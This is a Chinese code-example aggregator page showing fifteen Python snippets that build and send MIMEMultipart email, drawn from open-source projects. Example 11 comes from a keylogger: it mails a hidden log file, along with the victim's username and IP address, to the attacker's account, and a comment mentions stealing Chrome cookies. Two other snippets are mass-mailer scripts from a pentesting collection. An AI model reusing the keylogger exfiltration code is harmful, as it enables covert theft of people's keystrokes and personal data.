当前位置: 首页>>代码示例>>Python>>正文


Python MIMEMultipart.MIMEMultipart方法代码示例

本文整理汇总了Python中email.MIMEMultipart.MIMEMultipart方法的典型用法代码示例。如果您正苦于以下问题:Python MIMEMultipart.MIMEMultipart方法的具体用法?Python MIMEMultipart.MIMEMultipart怎么用?Python MIMEMultipart.MIMEMultipart使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在email.MIMEMultipart的用法示例。


在下文中一共展示了MIMEMultipart.MIMEMultipart方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: test_get_msg_from_string_multipart

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def test_get_msg_from_string_multipart(self):
        msg = MIMEMultipart()
        msg['Subject'] = 'Test multipart mail'
        msg.attach(MIMEText(u'a utf8 message', _charset='utf-8'))
        adaptor = self.get_adaptor()

        msg = adaptor.get_msg_from_string(MessageClass, msg.as_string())

        self.assertEqual(
            'base64', msg.wrapper.cdocs[1].content_transfer_encoding)
        self.assertEqual(
            'text/plain', msg.wrapper.cdocs[1].content_type)
        self.assertEqual(
            'utf-8', msg.wrapper.cdocs[1].charset)
        self.assertEqual(
            'YSB1dGY4IG1lc3NhZ2U=\n', msg.wrapper.cdocs[1].raw) 
开发者ID:leapcode,项目名称:bitmask-dev,代码行数:18,代码来源:test_soledad_adaptor.py

示例2: test__all__

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:19,代码来源:test_email.py

示例3: send_e_mail

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def send_e_mail(subject):
    """
    send an e mail from the Cisco network to anyone -
    Note: This example uses from address as a Cisco server, Change the domain to your SMTP server to send email from your domain.
    """
    
    # retrieve the hostname using in-built cli module
    host_name = cli.cli("show running-config | include hostname")
    FROM_ADDR = 'xxxx@cisco.com'
    TO_ADDR = 'xxxx@gmail.com'
    
    # create the message
    msg = MIMEMultipart()
    msg['From'] = FROM_ADDR
    msg['To'] = TO_ADDR
    msg['Subject'] = "%s - %s" % (subject, host_name)
    text = "This is an automated e mail message:\n===========================\nAn on-Box Python script running on a Cisco Polaris guestshell device and detected that the %s %s \n===========================\n\n\n===========================\n\n" % (subject, host_name)
    msg.attach(MIMEText(text, 'plain'))
    
    # connect to server and send
    server = smtplib.SMTP('outbound.your_company_name.com', 25)
    server.sendmail(FROM_ADDR, TO_ADDR, msg.as_string())
    server.quit() 
开发者ID:CiscoDevNet,项目名称:python_code_samples_network,代码行数:25,代码来源:port_flap_email_alert.py

示例4: send_expire_email

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def send_expire_email(domain, days, config_options):
    """
       Generate an e-mail to let someone know a domain is about to expire
    """
    debug("Generating an e-mail to %s for domain %s" %
         (config_options["smtpto"], domain))
    msg = MIMEMultipart()
    msg['From'] = config_options["smtpfrom"]
    msg['To'] = config_options["smtpto"]
    msg['Subject'] = "The DNS Domain %s is set to expire in %d days" % (domain, days)

    body = "Time to renew %s" % domain
    msg.attach(MIMEText(body, 'plain'))

    smtp_connection = smtplib.SMTP(config_options["smtpserver"],config_options["smtpport"])
    message = msg.as_string()
    smtp_connection.sendmail(config_options["smtpfrom"], config_options["smtpto"], message)
    smtp_connection.quit() 
开发者ID:Matty9191,项目名称:dns-domain-expiration-checker,代码行数:20,代码来源:dns-domain-expiration-checker.py

示例5: send_email_account

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def send_email_account(remote_server, remote_port, username, password, email_from, email_to, subject, body):
    if (remote_server == "smtp.gmail.com"):
        send_email_gmail(username, password, email_from, email_to, subject, body)
    else:
        # connect to remote mail server and forward message on
        server = smtplib.SMTP(remote_server, remote_port)

        msg = MIMEMultipart()
        msg['From'] = email_from
        msg['To'] = email_to
        msg['Subject'] = subject
        msg.attach(MIMEText(body, 'plain'))

        smtp_sendmail_return = ""
        try:
            server.login(username, password)
            smtp_sendmail_return = server.sendmail(email_from, email_to, msg.as_string())
        except Exception, e:
            print 'SMTP Exception:\n' + str( e) + '\n' + str( smtp_sendmail_return)
        finally: 
开发者ID:tatanus,项目名称:Python4Pentesters,代码行数:22,代码来源:massemailer_with_login.py

示例6: send_email_direct

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def send_email_direct(email_from, email_to, subject, body):
    # find the appropiate mail server
    domain = email_to.split('@')[1]
    remote_server = get_mx_record(domain)
    if (remote_server is None):
        print "No valid email server could be found for [%s]!" % (email_to)
        return

    # connect to remote mail server and forward message on
    server = smtplib.SMTP(remote_server, 25)

    msg = MIMEMultipart()
    msg['From'] = email_from
    msg['To'] = email_to
    msg['Subject'] = subject
    msg.attach(MIMEText(body, 'plain'))

    smtp_sendmail_return = ""
    try:
        smtp_sendmail_return = server.sendmail(email_from, email_to, msg.as_string())
    except Exception, e:
        print 'SMTP Exception:\n' + str( e) + '\n' + str( smtp_sendmail_return) 
开发者ID:tatanus,项目名称:Python4Pentesters,代码行数:24,代码来源:massemailer_direct.py

示例7: mail

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def mail(to, subject, text, attach):
   msg = MIMEMultipart()

   msg['From'] = gmail_user
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   part = MIMEBase('application', 'octet-stream')
   part.set_payload(open(attach, 'rb').read())
   Encoders.encode_base64(part)
   part.add_header('Content-Disposition',
           'attachment; filename="%s"' % os.path.basename(attach))
   msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(gmail_user, gmail_pwd)
   mailServer.sendmail(gmail_user, to, msg.as_string())
   # Should be mailServer.quit(), but that crashes...
   mailServer.close() 
开发者ID:ActiveState,项目名称:code,代码行数:26,代码来源:recipe-576547.py

示例8: mail

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def mail(to, subject, text, attach):
            msg = MIMEMultipart()

            msg['From'] = gmail_user
            msg['To'] = to
            msg['Subject'] = subject
 
            msg.attach(MIMEText(text))

            part = MIMEBase('application', 'octet-stream')
            part.set_payload(open(attach, 'rb').read())
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(attach))
            msg.attach(part)

            mailServer = smtplib.SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            mailServer.login(gmail_user, gmail_pwd)
            mailServer.sendmail(gmail_user, to, msg.as_string())
            # Should be mailServer.quit(), but that crashes...
            mailServer.close() 
开发者ID:MyRobotLab,项目名称:pyrobotlab,代码行数:26,代码来源:email.py

示例9: to_mime_message

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def to_mime_message(self):
    """Generates a `MIMEMultipart` message from `EmailMessage`.

    This function calls `MailMessageToMessage` after converting `self` to
    the protocol buffer. The protocol buffer is better at handing corner cases
    than the `EmailMessage` class.

    Returns:
      A `MIMEMultipart` message that represents the provided `MailMessage`.

    Raises:
      InvalidAttachmentTypeError: The attachment type was invalid.
      MissingSenderError: A sender was not specified.
      MissingSubjectError: A subject was not specified.
      MissingBodyError: A body was not specified.
    """
    return mail_message_to_mime_message(self.ToProto()) 
开发者ID:GoogleCloudPlatform,项目名称:python-compat-runtime,代码行数:19,代码来源:mail.py

示例10: test_mime_attachments_in_constructor

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def test_mime_attachments_in_constructor(self):
        eq = self.assertEqual
        text1 = MIMEText('')
        text2 = MIMEText('')
        msg = MIMEMultipart(_subparts=(text1, text2))
        eq(len(msg.get_payload()), 2)
        eq(msg.get_payload(0), text1)
        eq(msg.get_payload(1), text2)



# A general test of parser->model->generator idempotency.  IOW, read a message
# in, parse it into a message object tree, then without touching the tree,
# regenerate the plain text.  The original text and the transformed text
# should be identical.  Note: that we ignore the Unix-From since that may
# contain a changed date. 
开发者ID:ofermend,项目名称:medicare-demo,代码行数:18,代码来源:test_email.py

示例11: sendData

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def sendData(fname, fext):
    attach = "C:\Users\Public\Intel\Logs" + '\\' + fname + fext

    ts = current_system_time.strftime("%Y%m%d-%H%M%S")
    SERVER = SMTP_SERVER
    PORT = 465
    USER = userkey
    PASS = passkey
    FROM = USER
    TO = userkey

    SUBJECT = "Attachment " + "From --> " + currentuser + " Time --> " + str(ts)
    TEXT = "This attachment is sent from python" + '\n\nUSER : ' + currentuser + '\nIP address : ' + ip_address

    message = MIMEMultipart()
    message['From'] = FROM
    message['To'] = TO
    message['Subject'] = SUBJECT
    message.attach(MIMEText(TEXT))

    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(attach, 'rb').read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
    message.attach(part)

    try:
        server = smtplib.SMTP_SSL()
        server.connect(SERVER, PORT)
        server.ehlo()
        server.login(USER, PASS)
        server.sendmail(FROM, TO, message.as_string())
        server.close()
    except Exception as e:
        print e

    return True

#Fucntion to steal chrome cookies 
开发者ID:mehulj94,项目名称:Radium,代码行数:41,代码来源:Radiumkeylogger.py

示例12: GenerateMIMEMessageString

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def GenerateMIMEMessageString(self,
                                form,
                                boundary=None,
                                max_bytes_per_blob=None,
                                max_bytes_total=None,
                                bucket_name=None):
    """Generate a new post string from original form.

    Args:
      form: Instance of cgi.FieldStorage representing the whole form
        derived from original post data.
      boundary: Boundary to use for resulting form.  Used only in tests so
        that the boundary is always consistent.
      max_bytes_per_blob: The maximum size in bytes that any single blob
        in the form is allowed to be.
      max_bytes_total: The maximum size in bytes that the total of all blobs
        in the form is allowed to be.
      bucket_name: The name of the Google Storage bucket to uplad the file.

    Returns:
      A string rendering of a MIMEMultipart instance.
    """
    message = self._GenerateMIMEMessage(form,
                                        boundary=boundary,
                                        max_bytes_per_blob=max_bytes_per_blob,
                                        max_bytes_total=max_bytes_total,
                                        bucket_name=bucket_name)
    message_out = cStringIO.StringIO()
    gen = generator.Generator(message_out, maxheaderlen=0)
    gen.flatten(message, unixfrom=False)
    return message_out.getvalue() 
开发者ID:elsigh,项目名称:browserscope,代码行数:33,代码来源:dev_appserver_upload.py

示例13: notify

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def notify(id_, email, cmd):
    print('[%s] Sending report %s to %s' % (datetime.datetime.now(), id_, email))
    msg = MIMEMultipart()
    msg['From'] = SMTP_USER
    msg['To'] = email
    msg['Subject'] = "Your scan results are ready"
    body = "{2}\n\nView online:\n{0}/static/results/{1}.html\n\nDownload:\n{0}/static/results/{1}.nmap\n{0}/static/results/{1}.xml\n{0}/static/results/{1}.gnmap".format(BASE_URL, id_, cmd)
    msg.attach(MIMEText(body, 'plain'))
    server = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
    server.ehlo()
    server.starttls()
    server.ehlo()
    server.login(SMTP_USER, SMTP_PASS)
    text = msg.as_string()
    server.sendmail(SMTP_USER, email, text) 
开发者ID:cldrn,项目名称:rainmap-lite,代码行数:17,代码来源:nmaper-cronjob.py

示例14: assemble_email

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def assemble_email(self, exc_data):
        short_html_version = self.format_html(
            exc_data, show_hidden_frames=False)
        long_html_version = self.format_html(
            exc_data, show_hidden_frames=True)
        text_version = self.format_text(
            exc_data, show_hidden_frames=False)
        msg = MIMEMultipart()
        msg.set_type('multipart/alternative')
        msg.preamble = msg.epilogue = ''
        text_msg = MIMEText(text_version)
        text_msg.set_type('text/plain')
        text_msg.set_param('charset', 'ASCII')
        msg.attach(text_msg)
        html_msg = MIMEText(short_html_version)
        html_msg.set_type('text/html')
        # @@: Correct character set?
        html_msg.set_param('charset', 'UTF-8')
        html_long = MIMEText(long_html_version)
        html_long.set_type('text/html')
        html_long.set_param('charset', 'UTF-8')
        msg.attach(html_msg)
        msg.attach(html_long)
        subject = '%s: %s' % (exc_data.exception_type,
                              formatter.truncate(str(exc_data.exception_value)))
        msg['Subject'] = self.subject_prefix + subject
        msg['From'] = self.from_address
        msg['To'] = ', '.join(self.to_addresses)
        return msg 
开发者ID:linuxscout,项目名称:mishkal,代码行数:31,代码来源:reporter.py

示例15: send_certificate

# 需要导入模块: from email import MIMEMultipart [as 别名]
# 或者: from email.MIMEMultipart import MIMEMultipart [as 别名]
def send_certificate(self, path, send_to):
        """
            Send each certificate from the configured email.
        """

        # Email info
        msg = MIMEMultipart()
        msg["From"] = self.email
        msg["To"] = send_to
        msg["Subject"] = u"Certificado"

        body = u"""Em anexo a este e-mail encontra-se o seu certificado de participação de um de nossos eventos.

        Qualquer problema, entre em contato respondendo a este e-mail ou procure-nos em:
        {address}
        Fone: {phone}
        """.format(
                    address=unicode(self.Config.get("Contact", "address")),
                    phone=unicode(self.Config.get("Contact", "phone"))
                  )
        msg.attach(MIMEText(unicode(body), 'plain', 'utf-8'))

        # Add the certificate file
        attachment = open(unicode(path), "rb")
        filename = os.path.basename(unicode(path))
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(attachment.read())
        encoders.encode_base64(part)
        part.add_header(u'Content-Disposition',
                        "attachment; filename= %s" % filename)
        msg.attach(part)

        text = msg.as_string()
        # Send the email
        self.smtp_server.sendmail(self.email, send_to, text) 
开发者ID:juliarizza,项目名称:certificate_generator,代码行数:37,代码来源:mail.py


注:本文中的email.MIMEMultipart.MIMEMultipart方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。